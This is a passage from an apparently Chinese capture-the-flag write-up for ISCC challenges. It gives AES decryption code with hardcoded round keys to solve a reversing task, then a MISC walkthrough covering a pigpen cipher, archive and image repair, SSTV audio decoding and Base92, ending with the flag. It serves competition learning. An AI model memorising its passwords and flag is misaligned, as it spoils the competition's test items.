0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
/**
* 获取整形数据的低8位的左4个位
*/
static int getLeft4Bit(int num) {
int left = num & 0x000000f0;
return left >> 4;
}
/**
* 获取整形数据的低8位的右4个位
*/
static int getRight4Bit(int num) {
return num & 0x0000000f;
}
/**
* 根据索引，从S盒中获得元素
*/
static int getNumFromSBox(int index) {
int row = getLeft4Bit(index);
int col = getRight4Bit(index);
return S[row][col];
}
/**
* 把一个字符转变成整型
*/
static int getIntFromChar(char c) {
int result = (int) c;
return result & 0x000000ff;
}
/**
* 把16个字符转变成4X4的数组，
* 该矩阵中字节的排列顺序为从上到下，
* 从左到右依次排列。
*/
static void convertToIntArray(char *str, int pa[4][4]) {
int k = 0;
unsigned char * pp = (unsigned char *)str;
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++) {
pa[j][i] = getIntFromChar(str[k]);
k++;
}
}
/**
* 打印4X4的数组
*/
static void printArray(int a[4][4]) {
int i,j;
for(i = 0; i < 4; i++){
for(j = 0; j < 4; j++)
printf("%x ", a[i][j]);
printf("\n");
}
printf("\n");
}
/**
* 打印字符串的ASSCI，
* 以十六进制显示。
*/
static void printASSCI(char *str, int len) {
int i;
for(i = 0; i < len; i++)
printf("0x%x ", getIntFromChar(str[i]));
printf("\n");
}
/**
* 把连续的4个字符合并成一个4字节的整型
*/
static int getWordFromStr(char *str) {
int one, two, three, four;
one = getIntFromChar(str[0]);
one = one << 24;
two = getIntFromChar(str[1]);
two = two << 16;
three = getIntFromChar(str[2]);
three = three << 8;
four = getIntFromChar(str[3]);
return one | two | three | four;
}
/**
* 把一个4字节的数的第一、二、三、四个字节取出，
* 入进一个4个元素的整型数组里面。
*/
static void splitIntToArray(int num, int array[4]) {
int one, two, three;
one = num >> 24;
array[0] = one & 0x000000ff;
two = num >> 16;
array[1] = two & 0x000000ff;
three = num >> 8;
array[2] = three & 0x000000ff;
array[3] = num & 0x000000ff;
}
/**
* 将数组中的元素循环左移step位
*/
static void leftLoop4int(int array[4], int step) {
int temp[4];
int i;
int index;
for(i = 0; i < 4; i++)
temp[i] = array[i];
index = step % 4 == 0 ? 0 : step % 4;
for(i = 0; i < 4; i++){
array[i] = temp[index];
index++;
index = index % 4;
}
}
/**
* 把数组中的第一、二、三和四元素分别作为
* 4字节整型的第一、二、三和四字节，合并成一个4字节整型
*/
static int mergeArrayToInt(int array[4]) {
int one = array[0] << 24;
int two = array[1] << 16;
int three = array[2] << 8;
int four = array[3];
return one | two | three | four;
}
/**
* 常量轮值表
*/
static const unsigned int Rcon[10] = { 0x01000000, 0x02000000,
0x04000000, 0x08000000,
0x10000000, 0x20000000,
0x40000000, 0x80000000,
0x1b000000, 0x36000000 };
/**
* 密钥扩展中的T函数
*/
static int T(int num, int round) {
int numArray[4];
int i;
int result;
splitIntToArray(num, numArray);
leftLoop4int(numArray, 1);//字循环
//字节代换
for(i = 0; i < 4; i++)
numArray[i] = getNumFromSBox(numArray[i]);
result = mergeArrayToInt(numArray);
return result ^ Rcon[round];
}
//密钥对应的扩展数组
static int w[44];
/**
* 打印W数组
*/
static void printW() {
int i, j;
for(i = 0, j = 1; i < 44; i++,j++){
printf("w[%d] = 0x%x ", i, w[i]);
if(j % 4 == 0)
printf("\n");
}
printf("\n");
}
/**
* 扩展密钥，结果是把w[44]中的每个元素初始化
*/
static void extendKey(char *key) {
int i,j;
for(i = 0; i < 4; i++)
w[i] = getWordFromStr(key + i * 4);
// w[0] = 0x30373430;
// w[1] = 0x63623964;
// w[2] = 0x62383633;
// w[3] = 0x636436F2;
for(i = 4, j = 0; i < 44; i++) {
if( i % 4 == 0) {
w[i] = w[i - 4] ^ T(w[i - 1], j);
j++;
}else {
w[i] = w[i - 4] ^ w[i - 1];
}
}
}
/**
* 轮密钥加
*/
static void addRoundKey(int array[4][4], int round) {
int warray[4];
int i,j;
for(i = 0; i < 4; i++) {
splitIntToArray(w[ round * 4 + i], warray);
for(j = 0; j < 4; j++) {
//printf("%x \n", warray[j]);
array[j][i] = array[j][i] ^ warray[j];
}
}
}
/**
* 字节代换
*/
static void subBytes(int array[4][4]){
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
array[i][j] = getNumFromSBox(array[i][j]);
}
/**
* 行移位
*/
static void shiftRows(int array[4][4]) {
int rowTwo[4], rowThree[4], rowFour[4];
int i;
for(i = 0; i < 4; i++) {
rowTwo[i] = array[1][i];
rowThree[i] = array[2][i];
rowFour[i] = array[3][i];
}
leftLoop4int(rowTwo, 1);
leftLoop4int(rowThree, 2);
leftLoop4int(rowFour, 3);
for(i = 0; i < 4; i++) {
array[1][i] = rowTwo[i];
array[2][i] = rowThree[i];
array[3][i] = rowFour[i];
}
}
/**
* 列混合要用到的矩阵
*/
static const int colM[4][4] = { 2, 3, 1, 1,
1, 2, 3, 1,
1, 1, 2, 3,
3, 1, 1, 2 };
static int GFMul2(int s) {
int result = s << 1;
int a7 = result & 0x00000100;
if(a7 != 0) {
result = result & 0x000000ff;
result = result ^ 0x1b;
}
return result;
}
static int GFMul3(int s) {
return GFMul2(s) ^ s;
}
static int GFMul4(int s) {
return GFMul2(GFMul2(s));
}
static int GFMul8(int s) {
return GFMul2(GFMul4(s));
}
static int GFMul9(int s) {
return GFMul8(s) ^ s;
}
static int GFMul11(int s) {
return GFMul9(s) ^ GFMul2(s);
}
static int GFMul12(int s) {
return GFMul8(s) ^ GFMul4(s);
}
static int GFMul13(int s) {
return GFMul12(s) ^ s;
}
static int GFMul14(int s) {
return GFMul12(s) ^ GFMul2(s);
}
/**
* GF上的二元运算
*/
static int GFMul(int n, int s) {
int result;
if(n == 1)
result = s;
else if(n == 2)
result = GFMul2(s);
else if(n == 3)
result = GFMul3(s);
else if(n == 0x9)
result = GFMul9(s);
else if(n == 0xb)//11
result = GFMul11(s);
else if(n == 0xd)//13
result = GFMul13(s);
else if(n == 0xe)//14
result = GFMul14(s);
return result;
}
/**
* 列混合
*/
static void mixColumns(int array[4][4]) {
int tempArray[4][4];
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
tempArray[i][j] = array[i][j];
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++){
array[i][j] = GFMul(colM[i][0],tempArray[0][j]) ^ GFMul(colM[i][1],tempArray[1][j])
^ GFMul(colM[i][2],tempArray[2][j]) ^ GFMul(colM[i][3], tempArray[3][j]);
}
}
/**
* 把4X4数组转回字符串
*/
static void convertArrayToStr(int array[4][4], char *str) {
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
*str++ = (char)array[j][i];
}
/**
* 检查密钥长度
*/
static int checkKeyLen(int len) {
if(len == 16)
return 1;
else
return 0;
}
/**
* 根据索引从逆S盒中获取值
*/
static int getNumFromS1Box(int index) {
int row = getLeft4Bit(index);
int col = getRight4Bit(index);
return S2[row][col];
}
/**
* 逆字节变换
*/
static void deSubBytes(int array[4][4]) {
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
array[i][j] = getNumFromS1Box(array[i][j]);
}
/**
* 把4个元素的数组循环右移step位
*/
static void rightLoop4int(int array[4], int step) {
int temp[4];
int i;
int index;
for(i = 0; i < 4; i++)
temp[i] = array[i];
index = step % 4 == 0 ? 0 : step % 4;
index = 3 - index;
for(i = 3; i >= 0; i--) {
array[i] = temp[index];
index--;
index = index == -1 ? 3 : index;
}
}
/**
* 逆行移位
*/
static void deShiftRows(int array[4][4]) {
int rowTwo[4], rowThree[4], rowFour[4];
int i;
for(i = 0; i < 4; i++) {
rowTwo[i] = array[1][i];
rowThree[i] = array[2][i];
rowFour[i] = array[3][i];
}
rightLoop4int(rowTwo, 1);
rightLoop4int(rowThree, 2);
rightLoop4int(rowFour, 3);
for(i = 0; i < 4; i++) {
array[1][i] = rowTwo[i];
array[2][i] = rowThree[i];
array[3][i] = rowFour[i];
}
}
/**
* 逆列混合用到的矩阵
*/
static const int deColM[4][4] = { 0xe, 0xb, 0xd, 0x9,
0x9, 0xe, 0xb, 0xd,
0xd, 0x9, 0xe, 0xb,
0xb, 0xd, 0x9, 0xe };
/**
* 逆列混合
*/
static void deMixColumns(int array[4][4]) {
int tempArray[4][4];
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
tempArray[i][j] = array[i][j];
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++){
array[i][j] = GFMul(deColM[i][0],tempArray[0][j]) ^ GFMul(deColM[i][1],tempArray[1][j])
^ GFMul(deColM[i][2],tempArray[2][j]) ^ GFMul(deColM[i][3], tempArray[3][j]);
}
}
/**
* 把两个4X4数组进行异或
*/
static void addRoundTowArray(int aArray[4][4],int bArray[4][4]) {
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
aArray[i][j] = aArray[i][j] ^ bArray[i][j];
}
/**
* 从4个32位的密钥字中获得4X4数组，
* 用于进行逆列混合
*/
static void getArrayFrom4W(int i, int array[4][4]) {
int index,j;
int colOne[4], colTwo[4], colThree[4], colFour[4];
index = i * 4;
splitIntToArray(w[index], colOne);
splitIntToArray(w[index + 1], colTwo);
splitIntToArray(w[index + 2], colThree);
splitIntToArray(w[index + 3], colFour);
for(j = 0; j < 4; j++) {
array[j][0] = colOne[j];
array[j][1] = colTwo[j];
array[j][2] = colThree[j];
array[j][3] = colFour[j];
}
}
/**
* 参数 c: 密文的字符串数组。
* 参数 clen: 密文的长度。
* 参数 key: 密钥的字符串数组。
*/
void deAes(char *c, int clen, char *key) {
int cArray[4][4];
int keylen,k;
keylen = strlen(key);
if(clen == 0 || clen % 16 != 0) {
printf("密文字符长度必须为16的倍数！现在的长度为%d\n",clen);
exit(0);
}
if(!checkKeyLen(keylen)) {
printf("密钥字符长度错误！长度必须为16、24和32。当前长度为%d\n",keylen);
exit(0);
}
extendKey(key);//扩展密钥
for(k = 0; k < clen; k += 16) {
int i;
int wArray[4][4];
convertToIntArray(c + k, cArray);
addRoundKey(cArray, 10);
for(i = 9; i >= 1; i--) {
deSubBytes(cArray);
deShiftRows(cArray);
deMixColumns(cArray);
getArrayFrom4W(i, wArray);
deMixColumns(wArray);
addRoundTowArray(cArray, wArray);
}
deSubBytes(cArray);
deShiftRows(cArray);
addRoundKey(cArray, 0);
convertArrayToStr(cArray, c + k);
}
}
/**
* 参数 p: 明文的字符串数组。
* 参数 plen: 明文的长度。
* 参数 key: 密钥的字符串数组。
*/
void aes(char *p, int plen, char *key){
int keylen = strlen(key);
int pArray[4][4];
int k,i;
if(plen == 0 || plen % 16 != 0) {
printf("明文字符长度必须为16的倍数！\n");
exit(0);
}
if(!checkKeyLen(keylen)) {
printf("密钥字符长度错误！长度必须为16。当前长度为%d\n",keylen);
exit(0);
}
extendKey(key);//扩展密钥
for(k = 0; k < plen; k += 16) {
convertToIntArray(p + k, pArray);
addRoundKey(pArray, 0);//一开始的轮密钥加
for(i = 1; i < 10; i++){
subBytes(pArray);//字节代换
shiftRows(pArray);//行移位
mixColumns(pArray);//列混合
addRoundKey(pArray, i);
}
subBytes(pArray);//字节代换
shiftRows(pArray);//行移位
addRoundKey(pArray, 10);
convertArrayToStr(pArray, p + k);
}
}
void myAddRoundKey(int pArray[4][4], int roundKey[11][16], int r) {
for(int i = 0; i < 4; i++) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] ^= roundKey[r][i * 4 + j];
}
}
}
void swap(int &a, int &b) {
int t;
t = a;
a = b;
b = t;
}
void myshift(int pArray[4][4]) {
int tmpArr[4][4] = {0};
for (int rol = 0; rol < 4; rol++ ){
for (int i = 0; i < 4; ++i) {
tmpArr[(i + rol) % 4][rol] = pArray[i][rol];
}
}
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] = tmpArr[i][j];
}
}
}
void mydeshift(int pArray[4][4]) {
int tmpArr[4][4] = {0};
for (int rol = 0; rol < 4; rol++ ){
for (int i = 0; i < 4; ++i) {
tmpArr[(i - rol + 4) % 4][rol] = pArray[i][rol];
}
}
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] = tmpArr[i][j];
}
}
}
void myTranspose(int pArray[4][4]) {
int tmpArr[4][4] = {0};
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
tmpArr[i][j] = pArray[j][i];
}
}
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] = tmpArr[i][j];
}
}
}
void my_aes_cbc( int *in_, char * out_, int * iv_) {
int subkeys[11][16] = {
0x31, 0x62, 0x35, 0x63, 0x32, 0x31, 0x38, 0x61, 0x36, 0x38, 0x35, 0x39, 0x66, 0x63, 0x66, 0x32,
0x03, 0x99, 0x06, 0x98, 0x31, 0xA8, 0x3E, 0xF9, 0x07, 0x90, 0x0B, 0xC0, 0x61, 0xF3, 0x6D, 0xF2,
0xEE, 0x94, 0x3A, 0x95, 0xDF, 0x3C, 0x04, 0x6C, 0xD8, 0xAC, 0x0F, 0xAC, 0xB9, 0x5F, 0x62, 0x5E,
0xBC, 0x5B, 0x90, 0x5A, 0x63, 0x67, 0x94, 0x36, 0xBB, 0xCB, 0x9B, 0x9A, 0x02, 0x94, 0xF9, 0xC4,
0xC3, 0x79, 0x09, 0x78, 0xA0, 0x1E, 0x9D, 0x4E, 0x1B, 0xD5, 0x06, 0xD4, 0x19, 0x41, 0xFF, 0x10,
0x07, 0xFA, 0x1F, 0xFB, 0xA7, 0xE4, 0x82, 0xB5, 0xBC, 0x31, 0x84, 0x61, 0xA5, 0x70, 0x7B, 0x71,
0x21, 0xAB, 0x3E, 0xAA, 0x86, 0x4F, 0xBC, 0x1F, 0x3A, 0x7E, 0x38, 0x7E, 0x9F, 0x0E, 0x43, 0x0F,
0xBA, 0x00, 0x24, 0x01, 0x3C, 0x4F, 0x98, 0x1E, 0x06, 0x31, 0xA0, 0x60, 0x99, 0x3F, 0xE3, 0x6F,
0xD4, 0x75, 0x35, 0x74, 0xE8, 0x3A, 0xAD, 0x6A, 0xEE, 0x0B, 0x0D, 0x0A, 0x77, 0x34, 0xEE, 0x65,
0x3A, 0x6D, 0x1D, 0x6C, 0xD2, 0x57, 0xB0, 0x06, 0x3C, 0x5C, 0xBD, 0x0C, 0x4B, 0x68, 0x53, 0x69,
0xBF, 0x28, 0xF0, 0x29, 0x6D, 0x7F, 0x40, 0x2F, 0x51, 0x23, 0xFD, 0x23, 0x1A, 0x4B, 0xAE, 0x4A
};
int iv[4][4] = {0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xAA};
int pArray[4][4] = {143, 217, 87, 27, 63, 222, 90, 206, 34, 56, 58, 199, 129, 54, 208, 101};
//convertToIntArray(in_, pArray);
memcpy(pArray, (void *)in_, 16 * 4);
memcpy(iv, (void *)iv_, 16 * 4);
// convertToIntArray(iv_, iv);
printArray(pArray);
printf("start decrypt\n");
myAddRoundKey(pArray, subkeys, 10);
for(int i = 9; i >= 1; i--) {
mydeshift(pArray);
deSubBytes(pArray);
printf("round %d end:\n", i);
printArray(pArray);
myAddRoundKey(pArray, subkeys, i);
myTranspose(pArray);
deMixColumns(pArray);//列混合
myTranspose(pArray);
}
mydeshift(pArray);
deSubBytes(pArray);
myAddRoundKey(pArray, subkeys, 0);
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] ^= iv[i][j];
}
}
printf("result:\n");
printArray(pArray);
for(int i = 0; i < 4; i++){
for (int j = 0; j < 4; ++j) {
out_[i * 4 + j] = pArray[i][j];
}
}
}
int main(int argc, char const *argv[])
{
int myiv[] = {0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xAA};
int data[] = {143, 217, 87, 27, 63, 222, 90, 206, 34, 56, 58, 199, 129, 54, 208, 101, 219, 87, 151, 84, 99, 59, 205, 133, 66, 20, 128, 13, 168, 241, 214, 244, 77, 159, 13, 141, 32, 4, 143, 255, 105, 178, 73, 189, 131, 170, 104, 33};
unsigned char data_out[49] = {0};
for(int i = 0; i < 3; i++){
my_aes_cbc(&data[16 * i], (char *)&data_out[16 * i], myiv);
memcpy(myiv, &data[16 * i], 16 * 4);
}
printf("%s", data_out);
}
运行解密得：
擂台题
MISC
世间套娃与你环环相扣
解压压缩包得到三个文件：
先分析图片文件，winhex一顿操作，没发现东西
于是打开txt文件，看到一堆字符不知道干什么的：
0310172431040506070809-S24S-M01081520-0411182530-230929-SMTWTFS-0721241007-2518110410.13-T0826.10-MTWTF2420M.15-310309-M2227-0620230906
但文件名提示这是密码，数了数一共十三组字符串块，以-隔开，对照图片，画出图形，其中数字代表日期，字母代表星期的首字母，其中有一个干扰项，去掉后正好对应十二个月份：
明显是猪圈密码，对照下面的表解出密码ISCCVERYNICE
解压压缩包，但打不开报错，winhex分析
是个7z压缩的zip文件，里面是一个rar文件，利用winrar修复，得到如下可正常打开的文件：
先看看图片，winhex打开，修复图片CRC，直接改高度出现一个链接
打开链接，需要输入密码
回到3pm文件，3pm应该是MP3文件，自己命个名，利用Audacity没分析出来，这里应该用SSTV慢扫描：
具体使用过程SSTV-CTF
得到2jrl应该是密码，输入获取文件
Base92解密得到flag
ISCC{NobodyKnowsTaoWaThanMe!!!}
1437
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
